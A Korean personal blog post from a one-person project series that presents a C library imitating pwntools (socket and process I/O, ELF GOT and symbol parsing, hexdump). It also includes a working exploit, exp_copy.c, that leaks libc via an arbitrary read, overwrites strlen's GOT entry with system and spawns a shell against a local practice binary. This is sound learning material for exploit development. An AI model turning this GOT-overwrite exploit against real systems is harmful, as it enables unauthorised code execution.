Profile

youngsouk

youngsouk

완성

최근 시험기간이라서 많이 코딩하지는 못했지만 우여곡절 끝에 전체적인 함수들과 구조체를 완성했고 이런 함수와 구조체를 별도의 헤더파일로 구성하면 끝이다.

https://www.joinc.co.kr/w/Site/C/Documents/CprogramingForLinuxEnv/Ch12_module

 

리눅스 환경에서의 C 프로그래밍 - 12장 모듈과 라이브러리

공유라이브러리와 정적라이브러리의 장단점

www.joinc.co.kr

GCC를 이용해서 헤더 파일들을 컴파일 한 뒤에 오브젝트 파일들을 링크하는 방식으로 해야 하는데 나는 그냥 헤더파일을 인클루드한 파일만 컴파일 하려해서 오류가 많이 발생했다. 그래서 위에 글을 참조해서 헤더파일 분리까지 완성했다. 또한 세이프 인클루드까지 해놓았다.

 

최종적인 소스코드는 이렇게 된다.

pwn.c

#include "pwnc.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <malloc.h>
#include <elf.h>
#include <sys/socket.h> 
#include <netinet/in.h>
#include <arpa/inet.h>

#define INPUT_LIMIT 0x10000
#define RECV_LIMIT 0x10000
#define REMOTE 1
#define LOCAL 0
// #define MODE LOCAL

int fd[2][2]; // 프로세스 통신을 위한 fd[0] : 입력, fd[1] : 출력

/*
typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;
*/

unsigned long long * p64(unsigned long long value){
    unsigned long long * tmp = malloc(sizeof(unsigned long long) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned long long)) = '\0';

    return tmp;
}

unsigned int * p32(unsigned int value){
    unsigned int * tmp = malloc(sizeof(unsigned int) + 1);
    *(tmp) = value;
    *(char *)(tmp + sizeof(unsigned int)) = '\0';

    return tmp;
}

void remote(char * ip, int port){
    int SocketNum = socket(PF_INET, SOCK_STREAM, 0);
    struct sockaddr_in    server_addr;
    
    if(SocketNum < 0){
        printf("Socket 오류");
        exit(0);
    }

    memset( &server_addr, 0, sizeof( server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr= inet_addr(ip);

    if (inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr) != 1) {
        printf("inte_pton");
        exit(0);
    }
    if( -1 == connect( SocketNum, (struct sockaddr*)&server_addr, sizeof( server_addr) ) )
    {
        printf( "접속 실패\n");
        exit( 1);
    }
    fd[1][0] = SocketNum;
    fd[0][1] = SocketNum;
    
    printf("Set Connnection with %s:%d", ip, port);
}

int process(char * path){
    pid_t pid;
    if(pipe(fd[0]) < 0){
        printf("pipe error");
        exit(0);
    } 
    if(pipe(fd[1]) < 0){
        printf("pipe error");
        exit(0);
    } 
    
    switch(pid = fork()){
    case -1:
        printf("fork error");
        return -1;
    case 0:
        close(fd[1][0]);
        close(fd[0][1]);

        close(1);
        close(0);
        
        dup2(fd[1][1], STDOUT_FILENO);
        dup2(fd[0][0], STDIN_FILENO);
        
        execl(path, path, NULL);
    }

    close(fd[1][1]);
    close(fd[0][0]);

    char buf[1000];
    printf("[*] Starting local process... pid is %d\n", pid);
    return 0;
}

int Recvuntil(char * str, int print){
    int i = 0, len = strlen(str), cnt = 0; // i : index, len : source length, cnt : total recv amount
    char * tmp = (char * ) calloc(1, len);

    while(1){
        read(fd[1][0], tmp + i, 1);

        cnt++;
        if(print == 1) write(1, tmp + i, 1);
        if(*(tmp + i) == *(str + i)) i++;
        else i = 0;
        if(i == len - 1){
            free(tmp);
            return cnt;
        };
    }
}

char * Recv(int cnt, int print){
    char * tmp;
    int len;

    tmp = (char * ) calloc(1, cnt + 1); // cnt + 1 : NULL 문자 때문에
    len = read(fd[1][0], tmp, cnt);
    if(print == 1) printf("%s\n", tmp);

    return tmp;
}

int Send(char * str){
    return write(fd[0][1], str, strlen(str));
}

int Send32(char * str){ // 0 값을 보내기 위한 함수. strlen("\x00") = 0이기 때문
    return write(fd[0][1], str, 4);
}

int Send64(char * str){
    return write(fd[0][1], str, 8);
}

int Sendline(char * str){
    int len;
    char * tmp = (char * ) calloc(1, strlen(str) + 2); // strlen(str) + 2 : '\n' 개행 문자 , NULL 때문에

    strcpy(tmp, str);
    strcat(tmp, "\n");
    len = Send(tmp);
    free(tmp);
    return len;
}

void interactive(){
    char * input = (char * ) malloc(INPUT_LIMIT); // 사용자의 입력 저장. 최대 크기 : INPUT_LIMIT 매크로 상수(기본 : 0x1000)

    printf("Switching to interactive mode\n");
    while(1){
        Recv(RECV_LIMIT, 1); // 입력받을 최대크기 : RECV_LIMIT 매크로 상수(기본 : 0x1000)
        write(1, "$", 1);
        *(input + read(0, input, INPUT_LIMIT)) = '\0';
        Send(input);
    }
}


Section findSectionHeader(int fd){
    Section section;
    Elf64_Off * SectionHeader = malloc(sizeof(Elf64_Off));
    Elf64_Half * SectionCnt = malloc(sizeof(Elf64_Half));
    Elf64_Half * SectionStringIndex = malloc(sizeof(Elf64_Half));
    Elf64_Shdr * SectionInformation;
    char * SectionName;
    
    //ELF 헤더
    lseek(fd, offsetof(Elf64_Ehdr, e_shnum), SEEK_SET);
    read(fd, SectionCnt, sizeof(Elf64_Half));
    section.SectionCnt = *SectionCnt;
    SectionInformation = malloc(*SectionCnt * sizeof(Elf64_Shdr));
    section.SectionHeader = SectionInformation;

    lseek(fd, offsetof(Elf64_Ehdr, e_shoff), SEEK_SET);
    read(fd, SectionHeader, sizeof(Elf64_Off));

    lseek(fd, offsetof(Elf64_Ehdr, e_shstrndx), SEEK_SET);
    read(fd, SectionStringIndex, sizeof(Elf64_Half));
    section.SectionStringIndex = *SectionStringIndex;

    //색션 정보 얻기
    lseek(fd, *SectionHeader, SEEK_SET);
    read(fd, SectionInformation, sizeof(Elf64_Shdr) * *SectionCnt);

    Elf64_Shdr * SectionString = SectionInformation + *SectionStringIndex;
    lseek(fd, SectionString -> sh_offset, SEEK_SET);
    SectionName = malloc(SectionString -> sh_size);
    read(fd, SectionName, SectionString -> sh_size);
    section.SectionName = SectionName;

    return section;
}

Elf64_Shdr * getSectionInfo(Section section, char * name){
    for(int i = 0; i < section.SectionCnt; i++){
        if(!strcmp(section.SectionName + ((section.SectionHeader + i) -> sh_name),name)) return section.SectionHeader + i;
    }
    
    return 0;
}

GOT * findGOTInfo(int fd, Section section){
    int i;

    Elf64_Shdr * PLTRelSection = getSectionInfo(section, ".rela.plt");
    if(PLTRelSection == 0) return 0;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, ".dynsym");
    Elf64_Shdr * dynstrSection = getSectionInfo(section, ".dynstr");

    Elf64_Rela * PLTRel = malloc(PLTRelSection -> sh_size);
    Elf64_Sym * dynsym = malloc(dynsymSection -> sh_size);
    char * dynstr = malloc(dynstrSection -> sh_size);

    int SymOffset; // got 주소 얻는데 사용
    int NameOffset;

    int FunctionCnt = (PLTRelSection -> sh_size) / sizeof(Elf64_Rela);
    GOT * got = malloc(sizeof(GOT) * (FunctionCnt + 1)); //FunctionCnt + 1 NULL 구조체 추가

    lseek(fd, PLTRelSection -> sh_offset, SEEK_SET);
    read(fd, PLTRel, PLTRelSection -> sh_size);

    lseek(fd, dynsymSection -> sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -> sh_size);

    lseek(fd, dynstrSection -> sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -> sh_size);
    
    int idx = 0;
    for(i = 0; i < FunctionCnt; i++){
        if((PLTRel + i) -> r_offset != 0){
            (got + idx) -> addr = (PLTRel + i) -> r_offset;

            SymOffset = ELF64_R_SYM((PLTRel + i) -> r_info);
            NameOffset = (dynsym +  SymOffset) -> st_name;
            (got + idx) -> name = dynstr + NameOffset;
            idx++;
        }
    }
    
    (got + i) -> addr = 0;
    (got + i) -> name = 0;

    return got;
}

unsigned long long getGOT(GOT * got, char * target){
    if(__glibc_unlikely(got == 0)) return 0;
    for(int i = 0; (got + i) -> addr != 0 || (got + i) -> name != 0; i++){
        if(!(strcmp((got + i) -> name, target))) return (got + i) -> addr;
    }

    return 0;
}

SYM * findSYM(int fd, Section section){
    int i;
    Elf64_Shdr * dynsymSection = getSectionInfo(section, ".dynsym");
    Elf64_Shdr * dynstrSection = getSectionInfo(section, ".dynstr");
    Elf64_Sym * dynsym = malloc(dynsymSection -> sh_size);
    char * dynstr = malloc(dynstrSection -> sh_size);

    int SymbolCnt = (dynsymSection -> sh_size) / sizeof(Elf64_Sym);
    SYM * symbol = malloc(sizeof(SYM) * (SymbolCnt + 1)); //SymbolCnt + 1 : NULL 구조체 추가

    char * t;
    int NameOffset;

    lseek(fd, dynsymSection -> sh_offset, SEEK_SET);
    read(fd, dynsym, dynsymSection -> sh_size);

    lseek(fd, dynstrSection -> sh_offset, SEEK_SET);
    read(fd, dynstr, dynstrSection -> sh_size);

    int idx;
    for(i = 0; i < SymbolCnt; i++){
        if(((dynsym + i) -> st_value) != 0){
            (symbol + idx) -> value = (dynsym + i) -> st_value;

            NameOffset = (dynsym + i) -> st_name;
            (symbol + idx) -> name = dynstr + NameOffset;
            idx++;
        }
    }
    (symbol + i) -> value = 0;
    (symbol + i) -> name = 0;

    return symbol;
}

unsigned long long getSYM(SYM * sym, char * target){

    if(__glibc_unlikely(sym == 0)) return 0;
    for(int i = 0; (sym + i) -> value != 0 || (sym + i) -> name != 0; i++){
        if(!(strcmp((sym + i) -> name, target)))return (sym + i) -> value;
    }

    return 0;
}

ELFInfo ELF(char * path){
    int fd = open(path, O_RDONLY);
    ELFInfo elf;

    elf.fd = fd;
    elf.filename = path;
    elf.section = findSectionHeader(fd);
    elf.got = findGOTInfo(fd, elf.section);
    elf.sym = findSYM(fd, elf.section);

    return elf;
}

ELFInfo getLibcELF(ELFInfo elf){
    char * LibcPath = malloc(1024);
    char * command = malloc(1024);
    int fd = open(".result.txt", O_RDWR | O_CREAT | O_TRUNC, 0644);
    ELFInfo LibcELF;
    char tmp;
    int i;

    sprintf(command, "ldd %s >> .result.txt", elf.filename);
    if(system(command) == -1){
        printf("system() error");
        exit(0);
    }

    for(int i = 0; i < 2; i++){
        while(1){
            read(fd, &tmp, 1);
            if(tmp == '>') break;
        }
    }
    
    for(int i = 0; i< 2; i++){
        i = 0;
        while(1){
            read(fd, &tmp, 1);
            if(tmp == ' ') break;
            *(LibcPath + i) = tmp;
            i++;
        }
    }
    
    LibcELF = ELF(LibcPath);

    return LibcELF;
}

void hexdump(void * target, int size){
    unsigned long long * t1;
    unsigned long long mask;
    unsigned long long tmp;
    for(long unsigned int i = 0; i < size / 16 + 1; i++){
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        printf("%08lx ", i);
        for(int j = 0; j < 16; j++){
            if(j % 4 == 0)printf(" ");
            tmp = *t1 & mask;
            printf("%02llx ", tmp >> (8 * j));
            mask = mask << 8;
        }
        printf(" ");
        mask = 0xff;
        t1 = (unsigned long long *)target + i;
        for(int j = 0; j < 16; j++){
            if(j % 4 == 0)printf("|");
            tmp = *t1 & mask;
            printf("%c", (char) (tmp >> (8 * j)));
            mask = mask << 8;
        }
        printf("\n");
    }
}
/*

void io32(int a, int print){
    char * tmp = (char * )p32(a);
    Recvuntil("> ", print);
    Send32(tmp);
    free(tmp);
}

void io64(unsigned long long a, int print){
    char * tmp = (char * ) p64(a);
    Recvuntil("> ", print);
    Send64(tmp);
    free(tmp);
}

void arb_write(unsigned long long addr, unsigned long long value, int print){
    
    //io32(0, print);
    Recvuntil(">", print);
    Send32((char *)p32(0));

    io64(addr, print);
    io64(value, print);
    io32(8, print);

    Recvuntil("OK\n", print);
}

unsigned long long * arb_read(unsigned long long addr, unsigned long long size, int print){
    unsigned long long * ret;

    io32(1, print);
    io64(addr, print);
    io64(size, print);

    Recv(1, print); // ' ' 때문에 1바이트를 먼저 받아준다.
    ret = (unsigned long long *)Recv(8, print);
    Recvuntil("OK\n", print);
    
    printf("\n");
    hexdump(ret, 16);
    printf("\n");

    return ret;
}

void dummy(char * s, int print){
    io32(2, print);
    Recvuntil("> ", print);
    Sendline(s);
    Recvuntil("OK\n", print);
}


int main(){
    setvbuf(stdout, NULL, _IONBF, 0); // printf 함수 사용시 버퍼링 때문에 잘 출력이 안되는 경우가 있었음.
    unsigned long long LibcAddr;   
    
    ELFInfo elf = ELF("./prob");
    // ELFInfo libc = getLibcELF(elf);
    ELFInfo libc = ELF("/lib/x86_64-linux-gnu/libc.so.6");
    unsigned long long * WriteAddr;
    
    if(MODE == REMOTE) remote("localhost", 9000);
    else if(MODE == LOCAL) process("./prob");
    else {
        printf("set mode LOCAL or REMOTE");
        exit(0);
    }

    dummy("a", 0); // 바이너리의 dummy함수는 strlen 함수를 사용합니다. 따라서 dummy함수를 한번이라도 실행한다면 strlen 함수의 got에 strlen 함수의 실제주소가 들어가게 된다.
    
    WriteAddr = arb_read(getGOT(elf.got, "write"), 8, 0);
    LibcAddr = *WriteAddr - getSYM(libc.sym, "write");
    printf("[*] Libc address = %p\n", (void *)LibcAddr);

    arb_write(getGOT(elf.got, "strlen"), LibcAddr + getSYM(libc.sym, "system"), 0);
    
    io32(2, 0);
    Recvuntil("> ", 0);
    Sendline("/bin/sh");
    
    interactive();
}
*/

pwn.h

#ifndef __PWNC__H
# define __PWNC__H

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <malloc.h>
#include <elf.h>
#include <sys/socket.h> 
#include <netinet/in.h>
#include <arpa/inet.h>

#define INPUT_LIMIT 0x10000
#define RECV_LIMIT 0x10000
#define REMOTE 1
#define LOCAL 0

extern int fd[2][2]; // 프로세스 통신을 위한 fd[0] : 입력, fd[1] : 출력

typedef struct Section{
    Elf64_Half SectionCnt;
    Elf64_Half SectionStringIndex;
    char * SectionName;
    Elf64_Shdr * SectionHeader;
}Section;

typedef struct got{
    char * name;
    unsigned long long addr;
} GOT;

typedef struct sym{
    char * name;
    unsigned long long value;
}SYM;

typedef struct elfinfo{
    int fd;
    char * filename;
    Section section;
    GOT * got;
    SYM * sym;
}ELFInfo;

extern unsigned long long * p64(unsigned long long value);

extern unsigned int * p32(unsigned int value);

extern void remote(char * ip, int port);

extern int process(char * path);

extern int Recvuntil(char * str, int print);

extern char * Recv(int cnt, int print);

extern int Send(char * str);

extern int Send32(char * str);

extern int Send64(char * str);

extern int Sendline(char * str);

extern void interactive(void);


extern Section findSectionHeader(int fd);

extern Elf64_Shdr * getSectionInfo(Section section, char * name);

extern GOT * findGOTInfo(int fd, Section section);

extern unsigned long long getGOT(GOT * got, char * target);

extern SYM * findSYM(int fd, Section section);

extern unsigned long long getSYM(SYM * sym, char * target);

extern ELFInfo ELF(char * path);

extern ELFInfo getLibcELF(ELFInfo elf);

extern void hexdump(void * target, int size);

#endif

exp_copy.c

#include "pwnc.h"
#define MODE LOCAL

void io32(int a, int print){
    char * tmp = (char * )p32(a);
    Recvuntil("> ", print);
    Send32(tmp);
    free(tmp);
}

void io64(unsigned long long a, int print){
    char * tmp = (char * ) p64(a);
    Recvuntil("> ", print);
    Send64(tmp);
    free(tmp);
}

void arb_write(unsigned long long addr, unsigned long long value, int print){
    
    //io32(0, print);
    Recvuntil(">", print);
    Send32((char *)p32(0));

    io64(addr, print);
    io64(value, print);
    io32(8, print);

    Recvuntil("OK\n", print);
}

unsigned long long * arb_read(unsigned long long addr, unsigned long long size, int print){
    unsigned long long * ret;

    io32(1, print);
    io64(addr, print);
    io64(size, print);

    Recv(1, print); // ' ' 때문에 1바이트를 먼저 받아준다.
    ret = (unsigned long long *)Recv(8, print);
    Recvuntil("OK\n", print);
    
    printf("\n");
    hexdump(ret, 16);
    printf("\n");

    return ret;
}

void dummy(char * s, int print){
    io32(2, print);
    Recvuntil("> ", print);
    Sendline(s);
    Recvuntil("OK\n", print);
}

int main(){
    setvbuf(stdout, NULL, _IONBF, 0); // printf 함수 사용시 버퍼링 때문에 잘 출력이 안되는 경우가 있었음.
    unsigned long long LibcAddr;   
    
    ELFInfo elf = ELF("./prob");
    // ELFInfo libc = getLibcELF(elf);
    ELFInfo libc = ELF("/lib/x86_64-linux-gnu/libc.so.6");
    unsigned long long * WriteAddr;
    
    if(MODE == REMOTE) remote("localhost", 9000);
    else if(MODE == LOCAL) process("./prob");
    else {
        printf("set mode LOCAL or REMOTE");
        exit(0);
    }

    dummy("a", 0); // 바이너리의 dummy함수는 strlen 함수를 사용합니다. 따라서 dummy함수를 한번이라도 실행한다면 strlen 함수의 got에 strlen 함수의 실제주소가 들어가게 된다.
    
    WriteAddr = arb_read(getGOT(elf.got, "write"), 8, 0);
    LibcAddr = *WriteAddr - getSYM(libc.sym, "write");
    printf("[*] Libc address = %p\n", (void *)LibcAddr);

    arb_write(getGOT(elf.got, "strlen"), LibcAddr + getSYM(libc.sym, "system"), 0);
    
    io32(2, 0);
    Recvuntil("> ", 0);
    Sendline("/bin/sh");
    
    interactive();
}

'1인 1프로젝트' 카테고리의 다른 글

MakeFile 생성 & 사용 모습  (0) 2021.06.15
코딩&디버깅 중  (0) 2021.06.08
코딩중  (0) 2021.05.25
코딩 중  (0) 2021.05.11
코딩 중  (0) 2021.05.10